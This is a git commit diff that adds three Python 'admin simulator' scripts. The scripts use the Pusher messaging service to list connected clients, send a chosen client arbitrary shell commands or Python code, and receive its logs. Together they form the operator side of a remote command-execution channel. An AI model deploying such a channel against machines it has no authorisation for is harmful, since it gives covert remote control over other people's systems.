Added sending and receiving commands and logs
This commit is contained in:
38
admin/admin_simulator/receive_logs.py
Normal file
38
admin/admin_simulator/receive_logs.py
Normal file
@@ -0,0 +1,38 @@
|
||||
from env import *
|
||||
import pusher
|
||||
import pysher
|
||||
import sys
|
||||
|
||||
|
||||
client = pusher.Pusher(
|
||||
app_id=app_id,
|
||||
key=key,
|
||||
secret=secret,
|
||||
cluster=cluster,
|
||||
ssl=True
|
||||
)
|
||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||
|
||||
|
||||
def on_logs(data):
|
||||
print("Logs: " + data)
|
||||
|
||||
|
||||
def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
log_channel = receiver.subscribe('client-' + str(client_id))
|
||||
log_channel.bind('logs', on_logs)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
|
||||
receiver.connect()
|
||||
while True:
|
||||
pass
|
||||
35
admin/admin_simulator/send_command.py
Normal file
35
admin/admin_simulator/send_command.py
Normal file
@@ -0,0 +1,35 @@
|
||||
from env import *
|
||||
import pusher
|
||||
import pysher
|
||||
import sys
|
||||
|
||||
|
||||
client = pusher.Pusher(
|
||||
app_id=app_id,
|
||||
key=key,
|
||||
secret=secret,
|
||||
cluster=cluster,
|
||||
ssl=True
|
||||
)
|
||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||
|
||||
|
||||
def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
while True:
|
||||
client.trigger('admin-' + str(client_id), 'command', input("Enter shell command: "))
|
||||
print("Sent shell command to client")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
|
||||
receiver.connect()
|
||||
while True:
|
||||
pass
|
||||
35
admin/admin_simulator/send_python.py
Normal file
35
admin/admin_simulator/send_python.py
Normal file
@@ -0,0 +1,35 @@
|
||||
from env import *
|
||||
import pusher
|
||||
import pysher
|
||||
import sys
|
||||
|
||||
|
||||
client = pusher.Pusher(
|
||||
app_id=app_id,
|
||||
key=key,
|
||||
secret=secret,
|
||||
cluster=cluster,
|
||||
ssl=True
|
||||
)
|
||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||
|
||||
|
||||
def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
while True:
|
||||
client.trigger('admin-' + str(client_id), 'python', input("Enter python code: "))
|
||||
print("Sent python code to client")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
|
||||
receiver.connect()
|
||||
while True:
|
||||
pass
|
||||
Reference in New Issue
Block a user